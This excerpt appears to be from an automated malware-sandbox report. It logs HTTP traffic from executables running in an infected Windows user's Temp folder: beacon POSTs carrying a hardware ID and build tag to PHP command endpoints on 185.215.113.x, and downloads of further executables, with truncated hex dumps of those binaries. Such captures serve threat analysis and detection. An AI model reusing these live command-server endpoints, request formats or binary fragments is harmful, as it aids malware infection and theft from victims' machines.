Oct 24, 2024 19:30:19.413999081 CEST	636	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Oct 24, 2024 19:30:19.414011955 CEST	1236	IN	Data Raw: 00 00 33 c0 5f 5e 5b c9 c3 6a 69 58 e9 6c 06 04 00 55 8b ec 83 ec 3c 53 56 89 4d fc 8d 4d c8 57 e8 c2 07 00 00 8b 7d 0c 33 c0 c7 45 c8 02 00 00 00 8b c8 8a d8 8b 37 4e 89 75 0c 89 75 cc 33 f6 8b 17 52 8d 42 01 89 07 e8 33 06 00 00 85 c0 74 26 84 Data Ascii: 3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@M_^[IAUSV3PF3uMMWMU]MMMMEE
Oct 24, 2024 19:30:19.414021969 CEST	212	IN	Data Raw: 00 83 e8 01 0f 84 72 03 04 00 8b 55 f8 8b 5d fc 83 e8 05 0f 85 a7 fc ff ff e9 d3 fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d4 03 04 00 83 7d f4 00 0f 85 82 fc ff ff e9 db 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d8 03 04 00 ff 45 f0 8d 45 Data Ascii: rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]/EHOxE}
Oct 24, 2024 19:30:19.414033890 CEST	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Oct 24, 2024 19:30:19.414047003 CEST	1236	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
Oct 24, 2024 19:30:19.419756889 CEST	1236	IN	Data Raw: c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 Data Ascii: U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50001	185.215.113.37	80	8036	C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:18.775790930 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:30:19.686789989 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:30:19.689517021 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="hwid"A48588DEC639786254513------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build"doma------JJJDGIECFCAKKFHIIIJE--
Oct 24, 2024 19:30:19.976356983 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50003	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:22.713536024 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001244001&unit=246122658369
Oct 24, 2024 19:30:23.963615894 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 24, 2024 19:30:23.964096069 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 24, 2024 19:30:24.257841110 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50005	185.215.113.16	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:24.261332989 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 19:30:25.197434902 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:25 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 24, 2024 19:30:25.197453022 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 24, 2024 19:30:25.197463989 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 24, 2024 19:30:25.197489977 CEST	336	IN	Data Raw: ff 51 ff 15 9c a8 64 00 85 c0 74 16 68 04 53 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d Data Ascii: QdthSBRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 24, 2024 19:30:25.197511911 CEST	1236	IN	Data Raw: 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff 50 8d 8d 94 fe ff ff e8 41 8e 01 00 8b c8 e8 ca 8e 01 00 8b c8 e8 33 8e 01 00 8b c8 e8 bc 8e 01 00 8b c8 e8 b5 8e 01 00 50 8d 8d 94 fe ff ff e8 99 8d 01 00 8d 8d 30 fd ff ff e8 ee 8c 01 00 8d Data Ascii: TQUR`PA3P0<HT`RQ<rh"BhWBPMQRhVBPdQ R
Oct 24, 2024 19:30:25.197516918 CEST	1236	IN	Data Raw: a9 64 00 c7 42 0c 00 00 00 00 c7 05 94 a9 64 00 00 00 00 00 5d c3 cc cc cc cc cc 55 8b ec 83 7d 08 00 74 23 8b 45 08 83 38 00 74 10 8b 4d 08 8b 51 04 3b 55 0c 7c 05 8b 45 08 eb 0e 8b 45 08 8b 48 08 89 4d 08 eb d7 8b 45 08 5d c3 cc cc cc cc cc cc Data Ascii: dBd]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQE
Oct 24, 2024 19:30:25.197526932 CEST	1236	IN	Data Raw: c4 0c a3 98 a5 64 00 6a 11 68 a0 1d 42 00 68 b4 1d 42 00 e8 3f 21 00 00 83 c4 0c a3 24 a2 64 00 6a 08 68 c8 1d 42 00 68 d4 1d 42 00 e8 26 21 00 00 83 c4 0c a3 18 a4 64 00 6a 0b 68 e0 1d 42 00 68 ec 1d 42 00 e8 0d 21 00 00 83 c4 0c a3 34 a6 64 00 Data Ascii: djhBhB?!$djhBhB&!djhBhB!4djhBhB djh(Bh8B ,djhHBh`B djhxBhB PdjhBhB \|djhBhBw djhBhB
Oct 24, 2024 19:30:25.197531939 CEST	1236	IN	Data Raw: 00 83 c4 0c a3 d8 a2 64 00 6a 15 68 88 22 42 00 68 a0 22 42 00 e8 69 1c 00 00 83 c4 0c a3 8c a3 64 00 6a 14 68 b8 22 42 00 68 d0 22 42 00 e8 50 1c 00 00 83 c4 0c a3 38 a5 64 00 6a 0e 68 e8 22 42 00 68 f8 22 42 00 e8 37 1c 00 00 83 c4 0c a3 94 a1 Data Ascii: djh"Bh"Bidjh"Bh"BP8djh"Bh"B7djh#Bh#Bdjh(#BhD#Bdjh`#Bht#Bdjh#Bh#Bdjh#Bh#Bdjh#Bh#B<djh#Bh
Oct 24, 2024 19:30:25.197537899 CEST	848	IN	Data Raw: 68 00 29 42 00 68 14 29 42 00 e8 a0 17 00 00 83 c4 0c a3 44 a3 64 00 6a 08 68 28 29 42 00 68 34 29 42 00 e8 87 17 00 00 83 c4 0c a3 24 a6 64 00 6a 14 68 40 29 42 00 68 58 29 42 00 e8 6e 17 00 00 83 c4 0c a3 88 a3 64 00 6a 15 68 70 29 42 00 68 88 Data Ascii: h)Bh)BDdjh()Bh4)B$djh@)BhX)Bndjhp)Bh)BUdjh)Bh)B<djh)Bh)B#djh)Bh)B,djhBh$Bddjh@Bh`B`djhBhB
Oct 24, 2024 19:30:25.197698116 CEST	1236	IN	Data Raw: 6a 0d 68 f0 2d 42 00 68 00 2e 42 00 e8 4e 14 00 00 83 c4 0c a3 0c a4 64 00 6a 10 68 10 2e 42 00 68 24 2e 42 00 e8 35 14 00 00 83 c4 0c a3 8c a4 64 00 6a 10 68 38 2e 42 00 68 4c 2e 42 00 e8 1c 14 00 00 83 c4 0c a3 6c a4 64 00 6a 10 68 60 2e 42 00 Data Ascii: jh-Bh.BNdjh.Bh$.B5djh8.BhL.Bldjh`.Bht.Bdjh.Bh.Bdjh.Bh.Bdjh.Bh.B\djh.Bh.B@djh.Bh/BDdjh/Bh(/Bm
Oct 24, 2024 19:30:25.203516960 CEST	1236	IN	Data Raw: 00 e8 85 0f 00 00 83 c4 0c a3 c0 a3 64 00 6a 02 68 38 35 42 00 68 3c 35 42 00 e8 6c 0f 00 00 83 c4 0c a3 a4 a3 64 00 6a 5f 68 40 35 42 00 68 a0 35 42 00 e8 53 0f 00 00 83 c4 0c a3 f8 a1 64 00 6a 06 68 00 36 42 00 68 08 36 42 00 e8 3a 0f 00 00 83 Data Ascii: djh85Bh<5Bldj_h@5Bh5BSdjh6Bh6B:ldjh6Bh6B!djh 6Bh(6Bdjh06Bh86Bdjh@6BhH6BdjhP6Bh\6Btdjhh6Bht6Bdjh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50010	185.215.113.37	80	7252	C:\Users\user\AppData\Local\Temp\1001245001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:26.656940937 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:30:27.552580118 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:30:27.708133936 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="hwid"A48588DEC639786254513------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="build"doma------CBKFIECBGDHJKECAKFBG--
Oct 24, 2024 19:30:27.990731955 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50015	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:28.061724901 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001245001&unit=246122658369
Oct 24, 2024 19:30:28.979504108 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50019	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:30.625005960 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:30:31.521723032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50020	34.107.221.82	80	7056	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:31.168443918 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:30:31.769336939 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82698 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:30:34.315772057 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:30:34.442795992 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82701 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50023	185.215.113.16	80	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:31.734930992 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 19:30:32.645837069 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:32 GMT Content-Type: application/octet-stream Content-Length: 1934848 Last-Modified: Thu, 24 Oct 2024 17:07:23 GMT Connection: keep-alive ETag: "671a7ecb-1d8600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L@WkjLjL @.rsrc@.idata @ P+@dpbwynirp2l@gxdcsuckpL`@.taggant0L"d@
Oct 24, 2024 19:30:32.645855904 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:32.645878077 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:32.645889997 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:32.645901918 CEST	1236	IN	Data Raw: ae 13 65 73 5f c1 95 3d 00 f4 78 6f a3 f8 f6 d9 50 a0 dd 2e d9 4e a4 e1 71 6e 00 94 6e d2 f4 be 12 16 88 e8 0f d6 70 b3 6b dd 58 b1 ef ef 67 d7 bf de b4 f3 bb fc 23 5e 11 df e4 42 69 41 f5 dd ef 52 49 a2 87 9d 19 df 61 21 f3 b0 2f df 2c a5 60 7d Data Ascii: es_=xoP.NqnnpkXg#^BiARIa!/,`}>NgH2R@\PS/'.SsOkn2nWvR9>OR>.Ynlcwoe1"uWDwRaEGo^HZ&k
Oct 24, 2024 19:30:32.645915031 CEST	1236	IN	Data Raw: fe 12 cb 23 3f 2a 25 71 57 36 b9 f4 96 ad 7a f8 cf 10 f1 06 61 51 99 7b e0 0b f5 fe f3 56 94 b3 df f0 4c ab 31 b6 fd 69 f2 34 a1 a6 c8 d2 14 83 43 71 75 9e 69 21 fa af 47 d0 73 66 6e 3e 79 bf 0f 12 ff a2 4f 66 af d1 93 25 f6 0a 40 95 d9 92 e5 6f Data Ascii: #?*%qW6zaQ{VL1i4Cqui!Gsfn>yOf%@oLVC^ ri-N#f&H}fu[^OQPG[,v;/:EdpY%Czsr3iXN0VPqqDZ_GSXOlP$,':r=X8k
Oct 24, 2024 19:30:32.645930052 CEST	1236	IN	Data Raw: 7c e9 9b 17 28 e7 98 7d 2b dd 1d 35 61 ef bc e0 96 85 87 d3 da 62 c2 03 cf f8 cb ff 17 e0 bc b8 3c 8f a6 c4 2b f5 e7 91 17 3f f9 7f 0e 7a e2 70 fd 66 9b 20 e7 d5 7a a4 20 b6 89 b1 8c c2 47 1f e7 f7 5e 4c e1 7a d9 7e 46 73 5d 81 27 03 a0 7d 9b 32 Data Ascii: \|(}+5ab<+?zpf z G^Lz~Fs]'}2*36WkOgP-lp`_"H2_x]fD(SR\GY/$'-5/IjMccECa;I'/"lsZDIC5b1
